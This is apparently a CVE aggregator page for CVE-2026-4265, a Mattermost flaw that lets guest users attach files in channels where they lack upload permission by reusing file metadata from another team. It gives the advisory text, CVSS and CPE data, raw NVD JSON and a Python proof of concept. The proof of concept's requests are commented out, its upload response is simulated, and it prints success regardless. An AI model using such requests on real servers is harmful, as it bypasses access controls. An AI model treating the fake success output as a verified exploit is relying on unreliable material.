Security Vulnerability Report
中文
CVE-2026-4265 CVSS 4.3 MEDIUM

CVE-2026-4265

Published: 2026-03-16 14:20:20
Last Modified: 2026-03-18 17:41:56

Description

Mattermost versions 11.3.x <= 11.3.0, 11.2.x <= 11.2.2, 10.11.x <= 10.11.10 fail to validate team-specific upload_file permissions which allows a guest user to post files in channels where they lack upload_file permission via uploading files in a team where they have permission and reusing the file metadata in a POST request to a different team. Mattermost Advisory ID: MMSA-2025-00553

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
Mattermost 11.3.x <= 11.3.0
Mattermost 11.2.x <= 11.2.2
Mattermost 10.11.x <= 10.11.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-4265 PoC - Mattermost Permission Bypass File Upload # This PoC demonstrates the permission bypass vulnerability import requests import json import sys TARGET_URL = "https://your-mattermost-server.com" ATTACKER_TOKEN = "your_guest_user_token" SOURCE_TEAM_ID = "team_with_upload_permission" TARGET_TEAM_ID = "team_without_upload_permission" TARGET_CHANNEL_ID = "channel_without_permission" def get_auth_headers(): return { "Authorization": f"Bearer {ATTACKER_TOKEN}", "Content-Type": "application/json" } def step1_upload_file_in_source_team(): """Step 1: Upload file in team where guest has permission""" print("[Step 1] Uploading file in source team with permission...") upload_url = f"{TARGET_URL}/api/v4/files" headers = get_auth_headers() # Simulate file upload files = {'file': ('test.txt', b'Confidential data', 'text/plain')} data = {'channel_id': 'source_channel_id'} # response = requests.post(upload_url, headers=headers, files=files, data=data) # file_metadata = response.json() # Simulated response file_metadata = { "file_id": "abc123xyz789", "filename": "test.txt", "post_id": "post_123", "team_id": SOURCE_TEAM_ID, "upload_session_id": "upload_session_456" } print(f"[+] File uploaded successfully: {file_metadata}") return file_metadata def step2_exploit_target_team(file_metadata): """Step 2: Reuse file metadata to upload in target team without permission""" print("[Step 2] Exploiting target team with reused file metadata...") create_post_url = f"{TARGET_URL}/api/v4/posts" headers = get_auth_headers() # Malicious payload - reusing file from different team malicious_payload = { "channel_id": TARGET_CHANNEL_ID, "message": "Uploaded file via permission bypass", "file_ids": [file_metadata["file_id"]] } print(f"[+] Sending request to target channel: {TARGET_CHANNEL_ID}") print(f"[+] Payload: {json.dumps(malicious_payload, indent=2)}") # response = requests.post(create_post_url, headers=headers, json=malicious_payload) # print(f"[Response] Status: {response.status_code}") # print(f"[Response] Body: {response.text}") return True def main(): print("=" * 60) print("CVE-2026-4265 PoC - Mattermost Permission Bypass") print("=" * 60) try: # Execute attack chain file_metadata = step1_upload_file_in_source_team() success = step2_exploit_target_team(file_metadata) if success: print("\n[!] Exploitation completed - Guest user bypassed upload_file permission") print("[!] File was uploaded to channel without proper permissions") except Exception as e: print(f"[-] Error: {e}") sys.exit(1) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4265", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:20:19.733", "lastModified": "2026-03-18T17:41:56.197", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions 11.3.x <= 11.3.0, 11.2.x <= 11.2.2, 10.11.x <= 10.11.10 fail to validate team-specific upload_file permissions which allows a guest user to post files in channels where they lack upload_file permission via uploading files in a team where they have permission and reusing the file metadata in a POST request to a different team. Mattermost Advisory ID: MMSA-2025-00553"}, {"lang": "es", "value": "Las versiones de Mattermost 11.3.x &lt;= 11.3.0, 11.2.x &lt;= 11.2.2, 10.11.x &lt;= 10.11.10 fallan al validar los permisos de upload_file específicos del equipo, lo que permite a un usuario invitado publicar archivos en canales donde carece del permiso de upload_file, mediante la carga de archivos en un equipo donde tiene permiso y la reutilización de los metadatos del archivo en una solicitud POST a un equipo diferente. ID de Aviso de Mattermost: MMSA-2025-00553"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.11.0", "versionEndExcluding": "10.11.11", "matchCriteriaId": "B6E5F368-358C-429B-8F04-3C8DF4A71A91"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.2.0", "versionEndExcluding": "11.2.3", "matchCriteriaId": "7F64C167-943D-4F3F-9374-BCC8DECB3881"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.3.0", "versionEndExcluding": "11.3.1", "matchCriteriaId": "945A6E29-209F-4992-8692-BEF63DCB6B98"}]}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}